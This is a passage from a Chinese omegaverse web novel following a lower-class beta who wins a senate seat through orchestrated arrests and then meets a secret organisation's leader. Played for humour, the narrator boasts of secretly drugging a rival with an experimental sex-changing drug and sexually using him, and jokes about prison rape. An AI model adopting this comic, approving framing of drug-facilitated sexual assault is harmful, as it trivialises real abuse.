甩了他一巴掌的alpha女性闻言冷笑,指了指电视机屏幕正传转播的画面,“那你和我解释解释,为什么所有竞选人都遭到刺杀,只有你没有!” 电视机屏幕内,年轻的beta女性站在囚犯们的中央,灰头土脸,西装也被尖锐物品划破了。 在一片混乱中,她脊背挺直,眼神坚毅。当记者将摄像头对准她时,她的视线仿佛穿过了摄像机看向屏幕后的人。 这位年轻人用愤怒而坚定的语气说:“我不理解到底是什么人会对我产生如此大的敌意,难道仅仅是因为我出身底层吗?可底层的人也是人,就算是犯错被关进监狱的人也是人。杀人犯偿命,抢劫犯还钱,除了侮辱他人人格的囚犯,我认为都享有人权的资格。” “可现在那些恨我的人为了杀我,不惜将囚犯们的人格和生命践踏,我想上帝看见了一定会愤怒。” 慷慨激昂又充满同理心的话语与从前的参议员竞选者截然不同,让记者的面容又些许地动摇,忍不住询问:“您是一位信徒?” beta女性闻言露出了温和的笑容,“算不上吧,我只是在迷茫的时候寻找慰藉罢了。” 相当完美的回答。 记者后续有问了其他的问题,其中更是询问假如beta女性成功当选参议员会提出什么建议。而这位年轻人的回答却不再完美。 减少底层人税收,增加上层人税收,开放上行城和克亚区的流通,更是提倡减少各种商业保险的限制…… 几乎每一种建议,都是从上行城白灯湾的嘴里咬下一大块肉来滋补克亚区。 当记者询问到她这般触动上层利益极有可能遭遇二次报复是否会害怕,这位年轻人是这样回答的:“我是人,我当然会害怕。可如果我有机会去做,大家也愿意给我这个机会去做,我为什么不做呢?” “况且我也不是真正等死的人,在刺杀者打出第一枪却没有杀死我的时候,我的助手就已经让人寻找刺杀者的线索了,相信不久真凶就能落网。” 几乎是年轻beta声音落下的下一秒,办公室的门被礼貌敲响。 走进来的检察官面无表情地举起了逮捕令的,对震惊的alpha男性说:“我们收到白女士以及其他遭受刺杀的受害者联合控告,请您跟我们走一趟吧。” 距离15号还有三天,十位竞选人落网一位。 13日早八点,三位竞选人被调查出贿赂高级官员的信息,众目睽睽之下被逮捕入狱。此时还剩下六位竞选人。 14日晚11点,竞选人白无用神秘失踪,疑似遭到绑架。其来自克亚区的弟弟白无垠表示根本不知道发生了什么。警方立刻展开调查,各大媒体遗憾这位实力强劲势头迅猛的新人还未开启政途就跌倒了。 15日早八点,竞选现场。 巨大的露天会馆内,聚集了足足三万上行城公民,而坐在最前排的,则是拥有重要比重选票的富商、政客们。 为了确保公平和公开性,特意划分出四分之一的区域提供给克亚区代表选民。 上方的电子屏幕上,展示了几位竞选人的信息以及竞选宣誓。在团长的要求下,工作人员还是将失踪的年轻beta信息添加到最后一排。 缇温简作为白无用外最有竞争力的人选,此时正皱着眉坐在化妆间内。 “还没找到人?” “没有。”克斯蒂说道。 长辫白发的omega男性烦躁地用手指缠绕辫子,却还是强撑着omega的修养和体面,“她现在和团长是一起的,应该是团长的特意安排。” “所以是压轴出场?”缇温说道。 指间一下又一下不耐烦地敲打桌面,缇温深吸一口气,“也可能是隆多的安排。我今天来也只是走个过场,后续会在隆多的安排下走内推坐十九席位。” 克斯蒂还是第一次知道,“隆多这是什么意思?” alpha男性闻言露出一个明显是假笑的表情,对着弟弟语气冷淡说:“当然是知道你是白无用情人的意思。” 真实情况当然不止,但缇温觉得没必要对一个omega说。 克斯蒂的心脏微微一沉,扯了扯嘴角说:“呵,我真有那么大的能耐,我就不至于沦落到和那个蠢货联姻。家族里真正掌握权利的是姐姐,隆多想要更好的合作,与其和白无用联系,不如直接让我和他联姻更快。” omega的一番话可不像这个性别会说的。 缇温顿感意外,直起身子来望着弟弟的眼睛,“这些话白无用教你的?” “她只是把知道的信息告诉我而已。”克斯蒂冷笑,“你们真当我是蠢货,除了和情人上床之外就什么都不会做了?” 缇温不再说话,显然拒绝交流。 克斯蒂轻嗤一声,站起来离开了化妆间。 时间一点点流逝,竞选人们也陆续准备好演讲稿。 然而白无用还是没有出现,警方也没有找到线索。 本该最着急的团长到现在都没有露面,而作为缇温支持人的隆多更是没有消息。 上方的电子屏上依旧滚动白无用的信息,可没有多久便被其他的竞选人刷下去。 八点四十五分,投票代表人陆续入场。 九点整,竞选宣誓正式开始。 “团长大人,您看好的那位年轻人有下落了吗?”有人问道。 卡特勒笑容亲切又和蔼,卡诺卡作为她的养子也分到了一个稍微靠后的座位,能够清晰听见那人的问话。 还不等卡特勒回答,卡诺卡就不高兴地瞪一眼,“关你什么事!” 沾了卡诺卡些许光的约西尔听此微微垂眸,没有在这个时候出生制止卡诺卡。 他的那些小伎俩用来骗一骗普通人和没脑子的omega们外,根本骗不了掌握实权的大人们,反而会将他的心思一览无余。 这时候乖乖当不说话的玩偶,总比出头鸟强。 被卡诺卡谩骂的人脸色不变,像是看一个不懂事的孩子一样看着卡诺卡,“团长爱子还是和从前一样活泼啊。不过已经到年纪了吧。” “是啊,已经有确定的订婚对象了。”卡特勒也没有生气,笑呵呵地接过了话题,“虽然出身不怎么样,但诺卡喜欢就好。” “妈妈,我不是真的喜欢……”卡诺卡的脸一下子就红了。 可谈话的两位大人将他的小心思一览无余,笑呵呵地有转去聊其他的话题。 卡诺卡气急败坏,不敢打断妈妈的谈话,于是转过去小声找约西尔讨回面子,“我说了我不喜欢。” 约西尔抿唇,看着用力缠紧衣袖导致指关节发白的手,“嗯。” “只是比起柯里亚纶,我宁愿接受她,你知道吧。哎呀,都是她的错,我最开始也不喜欢的。” 约西尔忍无可忍,“那你拒绝。” 卡诺卡眉头一皱,“你说什么?” “……没什么。” 鼓掌声将约西尔的注意力拉回了中央。 第一位竞选人已经完成了宣誓,笑容灿烂地挥手告别。 “团长大人,要是再晚些,您看重的那个年轻人就彻底没机会了啊。”那人说道。 卡特勒笑容不变,看了眼她胸前挂着的牌子。 教育总厅长,挺高的位置。 “我相信无用。倒是你啊,我记得三个月前陪审团才通过了给教育批准三亿资金的建议,为什么又缺钱了呢?” 教育总厅长闻言笑容僵硬了一瞬,而后装作惶恐地看着卡特勒,“竟然劳烦您亲自开口询问,真是受宠若惊。实不相瞒,是下面几个部门反应要联合研究同一个课题,我审查之后发现这是一个研究价值极大的项目,于是斗胆向上申请批准新的资金。” “这样啊。”卡特勒笑容更甚,“可我怎么听到消息说有谁没控制住手呢?” 总厅长的表情完全凝固。 此时,第三位竞选人的宣誓已完成。 卡特勒没有管总厅长的表情,继续用沉稳缓慢地语气说:“我呢,其实不喜欢管手底下的人。毕竟大家坐在这个位置上,想吃多一点很正常。” “但是呢,很多情况是没有办法的。你看看斯科特家族那两个孩子,不正是没控制住自己,所以才遭殃了吗?” “也是难为你们在这样重要的日子,还会做错事。” 越是说下去,总厅长的面部肌肉便抖动得越厉害。 她顺着卡特勒的视线往下望去,只看见一个个斗志昂扬的竞选人站在台上宣誓,又热情要以地挥手告别。 忽然间,她只觉得一股凉意从脊椎不断往上攀爬,直到后脑勺! “竞选人白无用,请上场!” 无人应答。 “竞选人白无用,请上场!” 依旧无人应答。 总厅长扯开一个牵强的笑,“团长大人,您刚才只是和我开玩笑吗?” “哈哈哈!”卡特勒被逗笑了般,手拍了拍总厅长的肩膀,“对比起我,你还年轻,有太多东西没有学会。” “不用担心,监狱里也有能让你学习的知识。” 什么知识*?当然是踩缝纫机的知识。 总厅长只听见一段刺耳的音频,再看去,上方的电子屏不再是滚动的信息,而是清晰的画面。 这一届最年轻的,出身最低却势头最猛的竞选人白无用站在画面内,摆着和团长几乎一样的亲切笑容,对会馆内的三万人温和说:“大家好,我是竞选人白无用,很抱歉不能及时到达会场。” “虽然从前没有过这样的情况,但我国宪法没有明确规定竞选人一定要到达现场,那就容许我破例吧。” “很好奇我在哪里吗?”白无用转了个身,将镜头对准屋内,“教育总厅长的地下室,就是这。” 总厅长面色煞白,不受控制地发出唾骂,“底层杂种,你敢!” 愤怒的不仅是总厅长,还有其余四名位高权重的高官和议员,都被白无用持证清剿,搜查出诸多“贿赂”“非法集资”“致幻药剂”甚至是“运输诱发剂”的相关证据,更有甚至联合叛乱党传递军事区重要情报。 而再筛查下去,发现这些人均和竞选人有钱权交易。 这位来自底层的,无论学历还是性别都被人所看不起的beta年轻人,以最极端地方式参加了此次的参议员竞选。 而她做的就是趁着这个大好的日子把竞选人和其背后靠山都端了,还端得干干净净不留一丝情面。 等把人端了,还笑眯眯地对屏幕外的人进行竞选宣誓,希望各位给她投票。 总厅长被警卫强制带走,其余的人无一不是吞口唾沫假装没看见。 卡特勒指了指上方的电子屏,说:“已经到投票的时候了,各位。” 还有的选择吗? 除了白无用和缇温简,其他选择都被干掉了。 而后者的背后支持者早已经和参议院打好了关系,确认将十三席位让出去。她们这些权利没有那么大的人,在见证了一番“调虎离山”“杀鸡敬猴”的戏码后,都明白了团长和隆多这么做的目的。 诚然,她们可以放弃选票。但很多时候“放弃表态”也是上位者的权利。 她们确实可以联合起来放弃投票,但那样做只会被挨个清算,还不如早早站好立场,后期还能喝一口肉汤。 这又有什么好奇怪的呢? 大家既然坐在了一张桌子前,那么底下的裤子肯定是缠在一起的。既然缠在了一起,那就荣辱与共吧。 8月15日,这一届参议员竞选在大家猝不及防又心知肚明的投票下,选出了新的参议员。 23岁的白无用,以底层beta的身份进入参议院,坐上第十三席位—— 作者有话说:小白当然知道走稳妥路线她有很大概率当选,但小白的野心远不如此,她还得在组织内谋权。于是干脆把其他竞争对手端掉,卡特勒为了给卡瑟娜清出一条路来会很乐意,而小白也刚好可以趁机往团队里面悄咪咪塞自己和组织的人[点赞] 进入参议院,小白下一步的目标就是参议院院长了[墨镜]桀桀桀,柯里亚纶,现在轮到你啦 第69章 15号我是在众人的谩骂声中成功竞选成为参议员的。 什么“底层杂种”“废物beta”“不要脸的小白脸”“蠢货激进派”等等。 骂来骂去都是一些翻来覆去的词语,没什么攻击力,比我在贫民窟里听到的骂声文雅多了。 但我睚眦必报,还小心眼。从前不报仇是因为我是个什么都没有的软蛋,但现在小白我是参议员了,所以我现在就要小人得志报复回去。 于是我来到被扣押的人面前,凑近他耳边小声骂了一句贫民窟特有的脏话。 被我骂了的alpha男露出大为震撼的表情,苍白着一张脸不敢置信这个世界上竟然还会有那么脏的话,简直刷新三观。 我心情颇为美妙地拍了拍他的脸,“想不到吧?没事,等你进监狱就有大把时间去想了,囚犯们会耐心教你怎么说脏话的。” 再仔细看看眼前人的细皮嫩肉,我还是没告诉他囚犯们会怎么收学费。 进了监狱,能关到一个房的都是同个性别,到时候谁管你从前abo哪种性别啊,撅了再说。 处理好最后一家,天色彻底昏暗下来。 外面倒是有很多围堵想要采访我的记者,不过都被助手挡在了外面。 “谢谢。”我对这位beta女性助手露出感激的笑容。 助手露出称职的微笑,“这是我应该做的。” 坐上轿车后座,我盯着助手的脸又开始发散思维。 嘶——卡特勒之所以给我安排这个性别的助手也是因为怕我没忍住到处抠抠的手吗? 冤枉啊,公私我还是分得清楚的! “女士,直接去酒店,还是先回去换衣服?”助手问道。 我恍惚过来,才发现身上的衣服有些脏。 “先回去换衣服。”我说。 回到别墅,我看见阿沐百无聊赖地蹲在门口数蚂蚁。 看见我下车,他才松一口气迫不及待站起来,“昨天晚上到现在才看见你,等会是不是还要去酒店?” “你那么着急干什么?”我问。 阿沐撇嘴,紧紧地跟在我身后避开助手的视线小声说:“那个叫阿丽的alpha刚才过来说你做的很好。还要顺便告诉你,参议院内和你对接的人叫番苏,第五席位。” 我点点头,“还有呢,军事区坍塌矿洞的事情有说怎么解决吗?” “军事区还在和昂撒拉扯,希望通过让渡一部分利益得到矿洞。”阿沐冷笑,“是白灯湾的命令。” “卡瑟娜呢?她目前没法暴露身份,要帮上行城得到矿洞吗?”我继续问。 阿沐耸肩,“具体情况不知道。后天你正式上任,可以问问番苏。阿丽说番苏是卡瑟娜的老师。” 我的脑壳子又开始嗡嗡直跳。 总感觉以后有的忙了。 好吧,我现在也没空闲到哪里去。 庆功宴并不大,毕竟要维持我底层人的人设。 卡诺卡明面上依旧乖巧,看见我后期期艾艾地来到我的身边用小力气踹我的小腿。 “你怎么那么忙,我发送信息你也没回我。”他埋怨说道。 我耐心地站在原地任由他踢踹,“抱歉,今天的事情有点多。” “今晚妈妈还会对外说我们要订婚。”卡诺卡瞪我一眼,“你最好知趣点,要是我不高兴,我就和你取消婚约。” “好。”我好脾气地顺着他说话。 所谓庆功宴,也是订婚宴。 卡特勒不打算大肆声张,只是让几个记者聊聊报道了几句话。 其他的大人物们也根本不在乎卡诺卡到底什么态度,是否愿意。 “你真的没表示啊!”卡诺卡不知道为什么又开始发脾气。 我有些无奈,心想卡瑟娜你弟弟真的好烦啊。 没谈恋爱那会就难搞,怎么谈了恋爱后更难搞,一天到晚还得猜心思。 “你想我做什么?”我语气温和询问。 卡诺卡红着一张脸,自以为小心却过分明显地看向那边的约西尔。 我顺着他的视线看去,约西尔立刻移开视线,而站在约西尔身边的微莎也注意到了这。 他对我笑了笑,举着手中的酒杯。 我收回视线,“诺卡?” “蠢货!”卡诺卡气急败坏地又踢了我一脚,“我们现在是什么关系,你说!” 我眨巴眼,又开始做老实憨厚不善言辞的模样,红着耳垂移开视线,“这个大家都知道吧?” “你好烦啊,你一点用都没有!”卡诺卡更生气了,“你到底什么时候和约西尔那个人勾上的!” “什么?”我瞪着眼睛委屈极了,“约西尔,他不是你的朋友吗?” “他眼睛都快黏在你身上了!”卡诺卡怒骂,“他是我的朋友啊,但他怎么能做出小说里恶毒男配的表情。” 我:……你真察觉出来我还能表扬你两句,原来只是看小说幻想出来的。 深呼吸,蠢货嘛,总得有耐心。 而且他是组织内部成员的弟弟,为了以后不闹僵关系还是得好好照顾的,所以忍忍就算了。 于是我想了想,附在诺卡耳边小声说:“那,我们去另外的房间。” 卡诺卡一下子捂住耳朵,面红耳赤瞪我:“不许靠那么近!” “好。” 去往另外房间的路上,卡诺卡见我真和他分开了距离,又是破防地跳脚怒骂,“你跑那么远干嘛?” 我又回到了他身边。 等终于到了走廊尽头的房间,我本着绅士的礼仪准备替他打开门。 只是手刚刚碰到门把手,我又把手收回去了,红着脸对诺卡说:“还,还是别了吧,诺卡你还小。” 卡诺卡一愣,顿时暴跳如雷,“你在说什么!讨厌的底层人,我才不是要和你做那个!” 他气呼呼地又踢了我一脚,然后脚步飞快跑了。 我目送他离开,左右环顾确认没有人路过后以极快的速度打开房门钻进房间。 遁入黑暗的一瞬间,我感觉有一股强烈的风朝着我面部袭来! 我下意识抬起手挡住,想给对方来一个猝不及防的肘击,却被她的力气挡住了。 “看出来了,你杀人的手段都一个样。”女人的声音在我耳边响起,“但你不擅长应对昏暗的环境,以后可以找机会去军事区练练。” 这声音很耳熟,我好像在哪听过。 “啪嗒!” 灯打开了,我也得以看清楚女人的相貌,随后难言震惊,“你?” 番苏笑脸盈盈地把我手松开,“很意外?” 番苏,正是我在贫民窟为了送盒子跳海后捞我起来的嘴毒刻薄beta。 好在莱文已经死了,否则当初我俩当面交换盒子的事情得暴露出来。 “我以为是阿丽。”我对番苏说。 鼻腔为围绕了一股若有若无的血腥味,但房间内不见任何血渍,想来已经被番苏处理好了。 番苏任由我打量房间,拿了一瓶酒倒上一杯,“这才多久,你就把两个情人弄死了。要是我的学生知道,指不定得闹。” 分明是第二次见面,但她自来熟的语气就和我已经和她认识很多年般,聊得话比阿丽还多。 我看见床边放了一个专门用来放垃圾的黑色塑料袋,于是过去翻了翻,找到被番苏杀死的人的身份证件。 一边用纸巾夹着拿起来看,我一边回答番苏的话:“毕竟是同伴,我再如何也会看她的面子。你让她放心,我不会碰卡诺卡。” 番苏唏嘘极了,摆着手调侃我:“刚才你们的小动静,我听了就知道那小omega很喜欢你。要不是我在房间里杀人,他估计已经把腿缠你腰上了。” “不会的。”我笑着扭头看她,将手中的证件晃了晃,“这个人,你们是打算按失踪还是直接被刺杀?” 想到下个月是参议院院长退休的日子,我的笑容扩大,“你杀了他是为了副院长的位置吧,但柯里亚纶不好对付。这样,我和你一起处理柯里亚纶,你当上副院长后把柯里亚纶原本的第四席位让给我。” 番苏挑眉,走到我身边和我面对面蹲下,“我记得月初那会阿丽说你向组织要了刚刚研发出来还没投入实验的变性药剂,结果10号当天就出事了。所以你那瓶药剂用在柯里亚纶身上了?” “对啊。”我伸出大拇指,“我试验过了,对柯里亚纶这种身体素质的alpha男性来说,在我能帮忙舒缓的情况下药效可以维持四十五分钟左右。” “哈哈哈哈!”番苏忍不住大笑,“不愧是你,干得好!我看他那一副顺直a的表情不顺眼很久了!” “那成交?”我伸出右手。 番苏笑够了,唇角还剩下一丝愉悦的弧度。 她看着我伸出来的手,没一会也跟着伸出手和我相握,“成交。” 确认合作达成,我没有真把证件照带身上。 毕竟等会还要出去哄卡诺卡,要是他脑子一抽突然拽我口袋怎么办? 所以我把证件照又给回了番苏,让她帮我管理,等后续有用的时候再拿出来。 “监控帮我弄了。”我打开房间门说道。 番苏点点头,“去吧去吧,处理监控这事我熟。” 离开房间,我思考着卡诺卡会跑哪里发脾气。 打开通讯器,卡特勒还没发信息过来。 于是我找到卡诺卡的聊天界面发信息过去,顺便从旁边的花瓶里顺手薅下来一朵。 就这样找找停停,总算是在酒店露天阳台上看见了卡诺卡。 我又左右观察一下,才走过去。 “诺卡。” 卡诺卡听见我的声音,气呼呼回头剐我一眼,又把头转回去了。 我假装无奈地叹息,走到他身边抓起他的手。 卡诺卡想抽回去,我没给,“诺卡,你听我说。” “我不擅长做这些事,我在你之前没有遇到过,也没想过会和你订婚。”我的脑子开始自动检索爱情小说里的甜言蜜语。 卡诺卡喜欢什么样的爱情? 当然是那种梦幻的,在现实里几乎看不见听不见的,并且踩一捧一的爱情。 卡诺卡就是喜欢当唯一,就是喜欢被人高高捧起来,然后施舍一点比自己地位低下的人一点好处。 为了维护未来和卡瑟娜的同伴情方便在组织内好好发展,我会给卡诺卡提供丰富的情绪价值。 在还没到打破这个愚蠢可怜omega幻想的那个时刻前,我会努力维持表面上爱护他的假象。 花朵编织的戒指佩戴在他的左手中指上,我眼眸温柔,“诺卡,我现阶段没有什么其他可以表达感情的礼物,只有这个可以送给你。” “除了你之外,其他人不会拥有。” 卡诺卡的呼吸变得小心翼翼又悠长,浅金色的漂亮眼睛以极小的频率抖动着,仿佛在极力压制某种兴奋过头的情绪。 他伸出手,小心地抚摸那一枚套在左手中指的花朵戒指,嘴角不受控制地上扬。 “我原谅你了,底层人。”他说道,“以后我允许你吻我了。等会你就可以吻我,当着所有人的面。你知道吧,我不嫌弃你,以后我还要嫁给你。你没法拒绝,底层人,你该对我感恩戴德。” 我耐心听着,眼眸垂落到阳台底下。 偷看人表白,什么癖好啊帕菲尔隆多,你不会还想着今晚上跟我来一发吧?—— 作者有话说:参议院院长要退休了,副院长会上位,柯里亚纶目前就是想做副院长。 第70章 隆多简直神出鬼没。 刚才低头的时候还能看见他人,等和卡诺卡说了会话再看过去就不见踪影。 安抚好了卡诺卡让他去正厅等我,回头一个转角我就被人拐了。 alpha男性动作娴熟自然地用手掌心盖在我的后脖颈上,用微热的拇指去摩挲那一块可能是腺体器官的位置。 我浑身上下有的警戒细胞再次发出强烈警报,又被我强行压制下去,僵硬着身子让他摸。 他的鼻尖凑近了我的后脖颈,轻轻地碰了几下。 “没有味道。” 我把脖子缩回来,“我是beta,隆多先生,当然没有味道。” 他眯着眼,似乎把我的话听进去了,又好像没有。 看了看时间,快到宣布订婚的,确定此时隆多没有找我打一炮的想法后我就打算遁走。 “那我先走了,隆多先生。” 脚步刚抬起来,隆多就在我身后慢悠悠说:“衣服香氛的味道,有些浓。” 我下意识抬起了衣袖闻了闻,确实闻到了一股很微弱的香氛气味。 这套衣服由阿沐打理,他这人就是喜欢香喷喷的东西。 于是我对他露出稍微腼腆的微笑,说:“这是我弟弟帮忙弄的,隆多先生不喜欢,下次就不弄了。” “嗯。”他说道。 没几秒,他又说:“明天。” 懂了,找我吃炒饭。 主动送上门的美食当然没有拒绝的道理,但隆多的身份特殊,我一时间有些犹豫。众所周知,alpha的自尊心都很强。 没看柯里亚纶被我透了一次后对我眼睛不是眼睛鼻子不是鼻子,背对我时还下意识缩屁股。 回到正厅,人都已经聚齐了。 陪审团几位与卡特勒相同利益的陪审员,参议院前十席位的参议员,还有几个千辛万苦搞到了“小丑角色”的其他人。 大家脸上都挂着虚假的恭维笑容,唯有触及到相关利益的谈话才露出扯出几分真情实感。 我和卡诺卡在卡特勒的安排下站在了中央,耳边是卡特勒宠溺无奈的演讲。 什么“爱着孩子的母亲”“无所谓上门媳妇什么身份只要品性好就行”“爱子喜欢就行”之类我听着有点恶心的废话。 至于卡诺卡则是重新打扮换上精致的妆容,面颊粉红站在我旁边,手还紧紧拽着我的手臂。 台下的人什么表情? 我都一一扫过去,凭着优秀的视力和微表情观察能力,将众人的真实情绪收入眼底。 好有意思哦,我竟然真有了一个明面上的未婚夫。 虽然我没有真打算和未婚夫结婚,未来的某天也没有打算让在座除了卡诺卡和番苏外的人活着。 总而言之,在我的一心多用下,今天的宴会总算结束了。 疲惫回到家洗漱,连应付阿沐的力气都没有,我爬回床上两眼一闭就睡死过去。 草他爸的管它明天后天会发生什么事,我都努力那么多天了休息休息怎么了! 睡觉! 然而16号早上七点我还是被该死的生物钟吵醒了。 阿沐在那里任劳任怨做早餐,我就缩在沙发上拿着通讯器翻看今天的新闻。 《陪审团团长养子与底层新人参议员订婚!》跳过不看。 我快速跳到了军事频道,快速浏览。 “军事区与叛乱党首次停火以失败告终,双方围绕坍塌矿洞多次交流意见却无法统一,于8月16日凌晨四点再次开火。” “叛乱党首领昂撒称,多年前早与斯科特家族划分界限,不在乎斯科特家族。” “白灯湾介入,希望与叛乱党共同处理矿洞问题。” 看来那个坍塌的矿洞里确实有白灯湾重要的东西。 我陷入深思,组织想要利用此次坍塌矿洞趁机安插人进入白灯湾吗? 这不好操作吧。 我继续往下看,来到了很偶尔才关注的宗教频道。 “30岁的omega女性罗拉蒂尼不负众望获得教皇头衔,将于8月18日进行加冕仪式。” “罗拉蒂尼发言称:在上帝眼里,无关性别,无关身份,唯有心灵纯粹者才能得到救赎,灵魂前往天国。” 下面附有教皇照片,是一位身穿教皇服饰三十岁银发黑眼的omega女性。她目光温柔慈爱,充满包容。 8月18日,正好星期一。 为了维持我尊重信仰的人设,我得到场。 阿沐已经把早餐端上来了,我一边吃一边思考。 番苏昨晚杀死的成员正是上行城内最大教堂的一名德高望重的神父。如果只是神父倒还好,但这位神父和霍里家族曾经有过“赎罪卷”交易。 这具体就得追溯到柯里亚纶当年为了进入参议院打败竞争对手干的龌龊事。 “赎罪卷”实际上已经不对外开放了,但某些狂热的信徒依旧会花费大价钱从教堂手中购买。而政客们为了拉拢选票也跟着花点钱购买“赎罪卷”很正常。 但柯里亚纶心思缜密,除了这位被番苏杀死的神父外再没有接触其他神职成员。我想要把他弄死还得找其他机会。 不就是栽赃陷害嘛,这我很熟啊! 计划大概有了雏形,我满意地又啃了一口面包,就突然被莫名其妙窜上我脑海里的东西吓得一个机灵! 番苏杀死神父的原因一定不止为了柯里亚纶! 我又赶忙用通讯器搜索这一年来教皇的所有热门竞选人。 果然,被番苏杀死的神父与一位竞选人的关系过分密切,在15日前就爆出了贿赂官员的消息,但被强行压制下去。 也正是如此,这位与神父关系密切的竞选人成为了被罗拉蒂尼打败的手下败将。 番苏还在为神职成员做事? 不,能够成为卡瑟娜老师的番苏在组织内的身份只会更高,甚至是首领的左右手。 大胆点猜测,罗拉蒂尼……就是组织首领! 该死,我把组织的机密猜透了,她们不会暗杀我吧! 哈哈哈开玩笑的,我现在好歹也是半个组织内部成员,面见首领是迟早的事情,她们还不至于暗杀我。 于是我又心安理得开始吃造反了。 今天一天我难得空闲什么事都没有,卡诺卡还在通讯器上给我发不知道哪本爱情小说摘抄下来乍一看很有道理但狗屁不通的语气。 比如“听人说,一个人只有轰轰烈烈爱过,才能证明自己活着”这样的屁话。 他爸的,听谁说,他为什么说,怎么说?有空多读正经书或者去逛街,而不是在这里叽叽歪歪。 到了下午,卡诺卡终于停止对我的废物信息骚扰,在我的提议下去和约西尔逛街了。 而我也收到了隆多发来的消息和地址。 嘶——教堂? 好吧,教堂就教堂。 下午三点二十分,我出现在了最大的教堂内,还看见了坐在旁边的阁新。 又是好几天不见,阁新看起来有些疲惫。 他看我的眼神惊讶极了,“你来干嘛?” 我能说我要和人约会乱搞吗? 但这话说出去没面子,于是我轻咳一声,“咳,我本来就信这玩意好吧。” 阁新嗤笑一声,“谁知道你是不是又骗了谁过来和你乱搞。” 我嗯嗯啊啊应付他,“你说是就是啊,不是就不是。” 他破防了。 “花言巧语,当初我果然没看错你。” 我干脆任由他发牢骚,低头用鞋头蹭蹭地板缝隙。 大教堂就是厉害,地板装都锃光瓦亮镶金边,好像扣下来卖钱。 冷静点白无用,你现在已经是月工资几十万的大人物了,不要再对这些蝇头小利流口水了啊! “哈哈哈这不是白议员吗?”一只手自来熟地拍打在我的肩膀上。 我抬头一看,就是嬉皮笑脸的番苏。 阁新忽然的警惕起来,“你是谁?” 番苏笑容灿烂,“小伙子,你是白议员的朋友吗?哈哈哈,我是她的同事,今天来教堂转转没想到就遇到了,正好说说明天她上任后的注意事项。不介意的话,我把她借走?” 阁新紧绷下巴,用视线询问我。 我对他摆摆手,“我和她聊一会,你不用担心。” alpha男性这才坐回去。 跟着番苏来到教堂单独的房间内,我开口询问:“阁新不是内部成员吗?” “他的等级比阿丽低一些,但好用。”番苏说道,“首领不喜欢暴躁性格的人,但alpha男性们总是这样。” “哇哦,好厉害的性别偏见。”我吐槽说。 “从无人区出来的人可没资格说我们。”番苏笑道。 再掰扯就没完没了,番苏直奔主题,“首领想要见你。” 她这话一出,我就感觉大事不妙,好像有什么不得了的东西往我脑袋上砸。 于是我把头低下去,假装没听见地四处找眼镜,“你说什么?我没戴眼镜听不清。” “你没近视,你那视力隔了三栋楼都能看见对面洗澡的漂亮小omega。” 我又把脑袋抬起来,“说什么呢,我是绅士。我看就大大方方看,才不会干偷看的缺德勾当。” “哈哈哈哈哈!”番苏又被我逗笑了,吊儿郎当挂着我的肩膀,“不说这些,走吧。你那么短时间内爬到这个位置,首领很看好你。” 我跟着她离开单独的房间,往深处走,渐渐进入大教堂的居住区。 “首领是罗拉蒂尼吧。”我说道,“我承认,我的某些三观得到冲刷。” 番苏点点头表示理解,“首领会理解的,只要能真心实意地归属组织,她会原谅成员的某些行为。” “听你这话说的,首领还真是个虔诚的信徒啊。” 谁想番苏满脸莫名其妙:“不是啊,首领之所以这样,是因为那些信徒会乖乖把钱交上来心甘情愿当ATM机。” 我:……啊?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 虽然知道教皇这个职位本质上就是个吞金兽,但被番苏这样直白地说出来还是让我一愣又一愣。 紧接着我就开始愤愤不平,伸出手来朝番苏要钱,“把我这些年捐赠给教堂的钱都还给我!” 番苏一下子就嫌弃起来,“就你?每个月两块二毛五?” “两块二毛五不是钱啊!”我反驳,“你知不知道在贫民窟能掏出两块二毛五有多厉害?” “不给。”番苏两手一摊,“进了首领的口袋,你还想从她身上掏回来,你还不如直接做梦当参议院院长呢。” 我立刻许愿,“那我要当参议院院长。” “那不行。” “那就还我钱。” 番苏再次两手一摊,“没有,你自己找阿丽要。” 听到阿丽,我又飞快把手缩回去了。 我还欠她一万零一百块呢,要从她口袋拿钱,她肯定先找我还钱。 我又气急败坏,“你们什么破组织,没工资就算了怎么还反而要成员给入会费啊!” “不然我们组织购买军火走私运营药物研发从哪来的钱?”番苏理所当然。 这就是肥水不流外人田。与其让成员们把一百块交给别人做冤大头,还不如直接上交组织当研发资金。 “那是不是说明辛罗娅也欠了我钱?”我在脑子里一通胡乱算,最后得出全世界所有人都欠我一百块的结论。 别管我怎么算的,反正我就是算出来了。 番苏两眼一闭就开始胡乱摸索,“没戴眼镜我听不清。” “□□爸的,那是我的话术!” 在番苏的带领下,我终于见到了罗拉蒂尼。 由于这次会面比较私密,所以见面的房间很普通,周围也没有什么路过的修女之类的,只有一个朴素的正在给花盆松土的女人。 她听见开门的声音,抬起头看向我和番苏,随后扬起了一抹温和且符合社会刻板印象的微笑。 笑得很神棍,让我这种人看了会下意识捂紧钱包生怕被她骗钱。 但好在她今天不打算骗我的钱。 “番苏,无用,你们看看我这一盆花怎么样?”罗拉蒂尼问道。 番苏迈开腿走过去,一点都不怜惜地抬起花盆左右打量,然后丢出两个字的评价,“好丑。” “呵呵。”罗拉蒂尼假笑,转而看向我,“无用觉得呢?” “我没品而且素质差,我就不评价了。”我回以真诚憨厚的笑容。 “你比番苏讨喜多了,难怪那么短时间内能爬上参议院第十三席的位置。”罗拉蒂尼发出了轻微的感慨,然后低头继续处理花盆。 我就站在旁边看着,看她不断用剪刀修剪杂草和多余的枝叶。以我肤浅的品味看来,这朵花已经足够漂亮了,可她却怎么修剪都不满意似的,到最后终于忍无可忍地抓住了花朵的枝干然后连根拔起。 “根系都腐烂了,难怪怎么修剪都一股怪味。”罗拉蒂尼说道。 这句话诡异地戳中了我的笑点,让我忍不住发笑,“那就丢掉好了。” “那可难办啊,这花我养了很久。” “又不用您掏钱,您随便忽悠一个信徒,我相信他会很乐意给你买新的花。”我语气幽幽。 话音落下,罗拉蒂尼又一次将目光透向我。 我大概和她对视了五秒的时间,或许更长? 她忽然弯了眉眼,“无用……不对,是无垠。你的真名更好听,却偏偏要用一个拗口又难听的名字。” 原本还处于放松状态的我面色微微僵硬,不自觉挺直了身子,“您一直都在观察我?” “算是吧。”罗拉蒂尼说道,“我还在无人区时就注意到你了。哈哈哈,不难理解吧,毕竟无人区里都是alpha和omega,一个好斗的beta自然备受关注。” 我彻底没了笑容,目光在番苏和罗拉蒂尼的脸上来回扫动,“当时您是什么身份呢?监工?还是什么?” 